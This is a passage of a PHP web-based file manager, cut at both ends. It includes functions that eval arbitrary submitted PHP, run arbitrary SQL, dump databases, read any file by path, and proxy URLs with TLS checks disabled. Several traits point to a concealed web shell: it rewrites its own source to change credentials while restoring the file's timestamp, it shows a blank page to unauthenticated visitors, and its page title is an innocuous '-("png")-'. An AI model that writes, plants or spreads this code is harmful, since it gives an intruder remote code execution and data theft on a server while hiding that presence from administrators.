		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uw